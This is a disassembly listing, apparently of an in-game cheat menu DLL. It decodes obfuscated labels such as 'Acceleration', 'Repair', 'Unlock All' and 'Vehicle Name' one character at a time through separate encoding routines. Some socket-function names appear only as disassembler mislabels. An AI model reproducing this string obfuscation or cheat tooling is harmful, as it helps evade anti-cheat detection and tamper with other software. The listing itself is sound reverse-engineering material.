mov dword [rsp + 0x5c], 0x2000000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x2998]
call fcn.180014330
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x1154]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.1800147a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2998]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dc0d0
lea rcx, [rbp + 0x2998]
call fcn.1800143e0
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x688], eax
mov byte [rbp + 0x68c], al
mov cl, 0x41
call fcn.1800146d0
mov byte [rsp + 0x50], al
mov cl, 0x63
call fcn.1800146d0
mov byte [rsp + 0x51], al
mov cl, 0x63
call fcn.1800146d0
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.1800146d0
mov byte [rsp + 0x53], al
mov cl, 0x6c
call fcn.1800146d0
mov byte [rsp + 0x54], al
mov cl, 0x65
call fcn.1800146d0
movzx r13d, al
mov cl, WSAStartup
call fcn.1800146d0
movzx r12d, al
mov cl, 0x61
call fcn.1800146d0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146d0
movzx r14d, al
mov cl, 0x69
call fcn.1800146d0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146d0
movzx edi, al
mov cl, WSAGetLastError
call fcn.1800146d0
movzx ebx, al
xor ecx, ecx
call fcn.1800146d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x680], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x681], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x682], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x683], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x684], cl
mov byte [rbp + 0x685], r13b
mov byte [rbp + 0x686], r12b
mov byte [rbp + 0x687], r15b
mov byte [rbp + 0x688], r14b
mov byte [rbp + 0x689], sil
mov byte [rbp + 0x68a], dil
mov byte [rbp + 0x68b], bl
mov byte [rbp + 0x68c], al
lea rcx, [rbp + 0x2978]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x6000000
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_listen
mov edx, r14d
lea rcx, [rbp + 0x2978]
call fcn.180014330
xor edi, edi
mov esi, r14d
mov rdx, rdi
lea rcx, [rbp + 0x680]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800146d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2978]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dc250
lea rcx, [rbp + 0x2978]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm6
movss xmm12, dword [0x1801ce5d0]
movaps xmm2, xmm12
lea rdx, [0x1801f7028]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2978]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2998]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movss xmm11, dword [0x1801ce7a8]
movaps xmm0, xmm11
call fcn.180076bd0
movaps xmm0, xmm8
call fcn.180076bd0
movaps xmm1, xmm12
mov ecx, r14d
call fcn.1800696e0
lea rcx, [rbp + 0x3b90]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm8
lea rcx, [rbp + 0x3b98]
call fcn.180011e10
mov rdx, rax
lea rcx, str.Repair
call fcn.180094d40
test al, al
je 0x1800dc361
lea rcx, [0x1805e5b90]
call fcn.1800543d0
call fcn.18002ea70
movss xmm10, dword [0x1801ce8d8]
movaps xmm1, xmm10
movaps xmm0, xmm15
call fcn.180076ad0
lea rcx, [rbp + 0x3ba0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm8
lea rcx, [rbp + 0x3ba8]
call fcn.180011e10
mov rdx, rax
lea rcx, str.Unlock_All
call fcn.180094d40
test al, al
je 0x1800dc3c0
lea rcx, [0x1805e5b90]
call fcn.1800543d0
call fcn.18002ef80
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm8
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
lea rcx, [rbp + 0x3bb0]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm8
lea rcx, [rbp + 0x3bb8]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x3bc0]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xea0], xmm0
mov word [rbp + 0xeb0], ax
mov cl, 0x23
call fcn.180056b00
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180056b00
mov byte [rsp + 0x51], al
mov cl, 0x76
call fcn.180056b00
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.180056b00
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b00
mov byte [rsp + 0x54], al
mov cl, 0x75
call fcn.180056b00
mov byte [rsp + 0x55], al
mov cl, 0x61
call fcn.180056b00
mov byte [rsp + 0x56], al
mov cl, 0x6c
call fcn.180056b00
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b00
mov byte [rsp + 0x58], al
mov cl, 0x5f
call fcn.180056b00
mov byte [rsp + 0x59], al
mov cl, 0x63
call fcn.180056b00
movzx r13d, al
mov cl, 0x61
call fcn.180056b00
movzx r12d, al
mov cl, WSAStartup
call fcn.180056b00
movzx r15d, al
mov cl, 0x5f
call fcn.180056b00
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b00
movzx esi, al
mov cl, 0x61
call fcn.180056b00
movzx edi, al
mov cl, 0x62
call fcn.180056b00
movzx ebx, al
xor ecx, ecx
call fcn.180056b00
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xea0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xea1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xea2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xea3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xea4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xea5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xea6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xea7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xea8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xea9], cl
mov byte [rbp + 0xeaa], r13b
mov byte [rbp + 0xeab], r12b
mov byte [rbp + 0xeac], r15b
mov byte [rbp + 0xead], r14b
mov byte [rbp + 0xeae], sil
mov byte [rbp + 0xeaf], dil
mov byte [rbp + 0xeb0], bl
mov byte [rbp + 0xeb1], al
lea rcx, [rbp + 0x29b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000000
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_select
mov edx, r14d
lea rcx, [rbp + 0x29b8]
call fcn.180014330
xor edi, edi
mov esi, edi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xea0]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180056b00
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x29b8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800dc5e0
lea rcx, [rbp + 0x29b8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x29b8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x1228], rax
mov cl, 0x56
call fcn.1800567e0
mov byte [rsp + 0x68], al
mov cl, 0x69
call fcn.1800567e0
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567e0
mov byte [rsp + 0x6a], al
mov cl, 0x75
call fcn.1800567e0
mov byte [rsp + 0x6b], al
mov cl, 0x61
call fcn.1800567e0
mov byte [rsp + 0x6c], al
mov cl, 0x6c
call fcn.1800567e0
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567e0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800567e0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1228], rax
lea rcx, [rbp + 0x29d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x10000000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x29d8]
call fcn.180014330
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1228]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800567e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x29d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dc6e0
lea rcx, [rbp + 0x29d8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x29d8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm0, dword [0x1801ce7d8]
call fcn.180076c20
movaps xmm0, xmm11
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xa30], rax
mov dword [rbp + 0xa38], eax
mov cl, 0x20
call fcn.18001b160
mov byte [rsp + 0x50], al
mov cl, 0x43
call fcn.18001b160
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.18001b160
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.18001b160
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.18001b160
movzx r13d, al
mov cl, 0x54
call fcn.18001b160
movzx r12d, al
mov cl, WSAStartup
call fcn.18001b160
movzx r15d, al
mov cl, 0x61
call fcn.18001b160
movzx r14d, al
mov cl, 0x63
call fcn.18001b160
movzx esi, al
mov cl, 0x65
call fcn.18001b160
movzx edi, al
mov cl, WSAStartup
call fcn.18001b160
movzx ebx, al
xor ecx, ecx
call fcn.18001b160
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa30], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa31], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa32], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xa33], cl
mov byte [rbp + 0xa34], r13b
mov byte [rbp + 0xa35], r12b
mov byte [rbp + 0xa36], r15b
mov byte [rbp + 0xa37], r14b
mov byte [rbp + 0xa38], sil
mov byte [rbp + 0xa39], dil
mov byte [rbp + 0xa3a], bl
mov byte [rbp + 0xa3b], al
lea rcx, [rbp + 0x29f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000000
xor r8d, r8d
mov esi, recv
mov edx, esi
lea rcx, [rbp + 0x29f8]
call fcn.180014330
xor edi, edi
mov r14d, edi
nop dword [rax]
nop dword [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0xa30]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.18001b160
movzx ebx, al
mov rdx, r14
lea rcx, [rbp + 0x29f8]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x1800dc880
lea rcx, [rbp + 0x29f8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4812]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x29f8]
call fcn.180011f20
movaps xmm1, xmm7
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x1220], rax
mov cl, 0x23
call fcn.180014770
mov byte [rsp + 0x68], al
mov cl, 0x23
call fcn.180014770
mov byte [rsp + 0x69], al
mov cl, 0x63
call fcn.180014770
mov byte [rsp + 0x6a], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014770
mov byte [rsp + 0x6b], al
mov cl, 0x6c
call fcn.180014770
mov byte [rsp + 0x6c], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014770
mov byte [rsp + 0x6d], al
mov cl, WSAStartup
call fcn.180014770
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014770
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1220], rax
lea rcx, [rbp + 0x2a18]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40000000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x2a18]
call fcn.180014330
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x1220]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014770
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2a18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dc981
lea rcx, [rbp + 0x2a18]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30462
lea rdx, [0x1805ddda0]
call fcn.18009e200
nop
lea rcx, [rbp + 0x2a18]
call fcn.180011f20
movaps xmm0, xmm11
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x698], eax
mov byte [rbp + 0x69c], al
mov cl, 0x20
call fcn.180014950
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.180014950
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014950
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180014950
mov byte [rsp + 0x53], al
mov cl, 0x77
call fcn.180014950
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180014950
movzx r13d, al
mov cl, 0x42
call fcn.180014950
movzx r12d, al
mov cl, WSAStartup
call fcn.180014950
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014950
movzx r14d, al
mov cl, 0x6b
call fcn.180014950
movzx esi, al
mov cl, 0x65
call fcn.180014950
movzx edi, al
mov cl, WSAGetLastError
call fcn.180014950
movzx ebx, al
xor ecx, ecx
call fcn.180014950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x690], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x691], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x692], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x693], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x694], cl
mov byte [rbp + 0x695], r13b
mov byte [rbp + 0x696], r12b
mov byte [rbp + 0x697], r15b
mov byte [rbp + 0x698], r14b
mov byte [rbp + 0x699], sil
mov byte [rbp + 0x69a], dil
mov byte [rbp + 0x69b], bl
mov byte [rbp + 0x69c], al
lea rcx, [rbp + 0x2a38]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2a38]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x690]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180014950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2a38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dcb30
lea rcx, [rbp + 0x2a38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f7025]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2a38]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm11
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc68], xmm0
mov word [rbp + 0xc78], ax
mov byte [rbp + 0xc7a], al
mov cl, 0x20
call fcn.180056930
mov byte [rsp + 0x50], al
mov cl, 0x45
call fcn.180056930
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.180056930
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180056930
mov byte [rsp + 0x53], al
mov cl, 0x62
call fcn.180056930
mov byte [rsp + 0x54], al
mov cl, 0x6c
call fcn.180056930
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180056930
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180056930
mov byte [rsp + 0x57], al
mov cl, 0x43
call fcn.180056930
mov byte [rsp + 0x58], al
mov cl, 0x61
call fcn.180056930
mov byte [rsp + 0x59], al
mov cl, WSAStartup
call fcn.180056930
mov byte [rsp + 0x5a], al
mov cl, 0x20
call fcn.180056930
movzx r13d, al
mov cl, 0x4e
call fcn.180056930
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056930
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056930
movzx r14d, al
mov cl, 0x69
call fcn.180056930
movzx esi, al
mov cl, 0x66
call fcn.180056930
movzx edi, al
mov cl, 0x79
call fcn.180056930
movzx ebx, al
xor ecx, ecx
call fcn.180056930
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xc68], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xc69], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xc6a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xc6b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xc6c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xc6d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xc6e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xc6f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xc70], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xc71], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xc72], cl
mov byte [rbp + 0xc73], r13b
mov byte [rbp + 0xc74], r12b
mov byte [rbp + 0xc75], r15b
mov byte [rbp + 0xc76], r14b
mov byte [rbp + 0xc77], sil
mov byte [rbp + 0xc78], dil
mov byte [rbp + 0xc79], bl
mov byte [rbp + 0xc7a], al
lea rcx, [rbp + 0x2a58]
call fcn.180011f00
mov dword [rsp + 0x5c], 1
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_send
mov edx, ebx
lea rcx, [rbp + 0x2a58]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xc68]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.180056930
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2a58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dcd60
lea rcx, [rbp + 0x2a58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4815]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2a58]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x8b0], rax
mov dword [rbp + 0x8b8], eax
mov word [rbp + 0x8bc], ax
mov cl, 0x56
call fcn.180014930
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180014930
mov byte [rsp + 0x51], al
mov cl, 0x68
call fcn.180014930
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.180014930
mov byte [rsp + 0x53], al
mov cl, 0x63
call fcn.180014930
mov byte [rsp + 0x54], al
mov cl, 0x6c
call fcn.180014930
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180014930
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014930
movzx r12d, al
mov cl, 0x20
call fcn.180014930
movzx r15d, al
mov cl, 0x4e
call fcn.180014930
movzx r14d, al
mov cl, 0x61
call fcn.180014930
movzx esi, al
mov cl, 0x6d
call fcn.180014930
movzx edi, al
mov cl, 0x65
call fcn.180014930
movzx ebx, al
xor ecx, ecx
call fcn.180014930
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x8b0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x8b1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x8b2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x8b3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x8b4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x8b5], cl
mov byte [rbp + 0x8b6], r13b
mov byte [rbp + 0x8b7], r12b
mov byte [rbp + 0x8b8], r15b
mov byte [rbp + 0x8b9], r14b
mov byte [rbp + 0x8ba], sil
mov byte [rbp + 0x8bb], dil
mov byte [rbp + 0x8bc], bl
mov byte [rbp + 0x8bd], al
lea rcx, [rbp + 0x2a78]
call fcn.180011f00
mov dword [rsp + 0x5c], 2
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2a78]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x8b0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180014930
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2a78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dcf20
lea rcx, [rbp + 0x3bc8]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x2a78]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3bd0]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x2a78]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x8a0], rax
mov dword [rbp + 0x8a8], eax
mov word [rbp + 0x8ac], ax
mov cl, 0x56
call fcn.180056740
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056740
mov byte [rsp + 0x51], al
mov cl, 0x68
call fcn.180056740
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.180056740
mov byte [rsp + 0x53], al
mov cl, 0x63
call fcn.180056740
mov byte [rsp + 0x54], al
mov cl, 0x6c
call fcn.180056740
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.180056740
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056740
movzx r12d, al
mov cl, 0x20
call fcn.180056740
movzx r15d, al
mov cl, 0x4e
call fcn.180056740
movzx r14d, al
mov cl, 0x61
call fcn.180056740
movzx esi, al
mov cl, 0x6d
call fcn.180056740
movzx edi, al
mov cl, 0x65
call fcn.180056740
movzx ebx, al
xor ecx, ecx
call fcn.180056740
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x8a0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x8a1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x8a2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x8a3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x8a4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x8a5], cl
mov byte [rbp + 0x8a6], r13b
mov byte [rbp + 0x8a7], r12b
mov byte [rbp + 0x8a8], r15b
mov byte [rbp + 0x8a9], r14b
mov byte [rbp + 0x8aa], sil
mov byte [rbp + 0x8ab], dil
mov byte [rbp + 0x8ac], bl
mov byte [rbp + 0x8ad], al
lea rcx, [rbp + 0x2a98]
call fcn.180011f00
mov dword [rsp + 0x5c], 4
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2a98]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x8a0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056740
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2a98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dd110
lea rcx, [rbp + 0x2a98]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x2a98]
call fcn.180011f20
movaps xmm0, xmm11
call fcn.180076bd0
lea rcx, [rbp + 0x3bd8]
call fcn.180076f00
movss xmm0, dword [rax]
subss xmm0, xmm11
call fcn.180076c70
xor eax, eax
mov qword [rbp + 0x500], rax
mov dword [rbp + 0x508], eax
mov word [rbp + 0x50c], ax
mov byte [rbp + 0x50e], al
mov cl, 0x23
call fcn.1800146e0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800146e0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800146e0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146e0
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.1800146e0
mov byte [rsp + 0x54], al
mov cl, 0x63
call fcn.1800146e0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800146e0
mov byte [rsp + 0x56], al
mov cl, 0x66
call fcn.1800146e0
movzx r13d, al
mov cl, 0x69
call fcn.1800146e0
movzx r12d, al
mov cl, 0x63
call fcn.1800146e0
movzx r15d, al
mov cl, 0x5f
call fcn.1800146e0
movzx r14d, al
mov cl, 0x76
call fcn.1800146e0
movzx esi, al
mov cl, 0x65
call fcn.1800146e0
movzx edi, al
mov cl, 0x68
call fcn.1800146e0
movzx ebx, al
xor ecx, ecx
call fcn.1800146e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x500], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x501], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x502], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x503], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x504], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x505], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x506], cl
mov byte [rbp + 0x507], r13b
mov byte [rbp + 0x508], r12b
mov byte [rbp + 0x509], r15b
mov byte [rbp + 0x50a], r14b
mov byte [rbp + 0x50b], sil
mov byte [rbp + 0x50c], dil
mov byte [rbp + 0x50d], bl
mov byte [rbp + 0x50e], al
lea rcx, [rbp + 0x2ab8]
call fcn.180011f00
mov dword [rsp + 0x5c], 8
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_ntohs
mov edx, ebx
lea rcx, [rbp + 0x2ab8]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x500]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.1800146e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2ab8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dd300
lea rcx, [rbp + 0x2ab8]
call fcn.1800143e0
mov rcx, rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8d, [rsi + 0x40]
lea rdx, [0x1805e5fe0]
call fcn.1800989a0
nop
lea rcx, [rbp + 0x2ab8]
call fcn.180011f20
call fcn.180076d20
movaps xmm1, xmm12
lea ecx, [rsi + 0xd]
call fcn.1800696e0
call fcn.180096cd0
movaps xmm0, xmm11
call fcn.180076bd0
lea rcx, [rbp + 0x3be0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, dword [0x1801ce744]
movaps xmm2, xmm8
lea rcx, [rbp + 0x3be8]
call fcn.180011e10
mov r15, rax
xor eax, eax
mov dword [rbp - 0x28], eax
mov byte [rbp - 0x24], al
mov cl, 0x50
call fcn.180056990
movzx r14d, al
mov cl, 0x75
call fcn.180056990
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056990
movzx edi, al
mov cl, 0x68
call fcn.180056990
movzx ebx, al
xor ecx, ecx
call fcn.180056990
mov byte [rbp - 0x28], r14b
mov byte [rbp - 0x27], sil
mov byte [rbp - 0x26], dil
mov byte [rbp - 0x25], bl
mov byte [rbp - 0x24], al
lea rcx, [rbp + 0x2ad8]
call fcn.180011f00
mov dword [rsp + 0x5c], reloc.WS2_32.dll_recv
xor r8d, r8d
mov esi, 5
mov edx, esi
lea rcx, [rbp + 0x2ad8]
call fcn.180014330
mov rdi, r12
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.180056990
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2ad8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800dd433
lea rcx, [rbp + 0x2ad8]
call fcn.1800143e0
mov rdx, r15
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x2ad8]
call fcn.180011f20
movss xmm6, dword [0x1801ce720]
test bl, bl
je 0x1800dd7fb
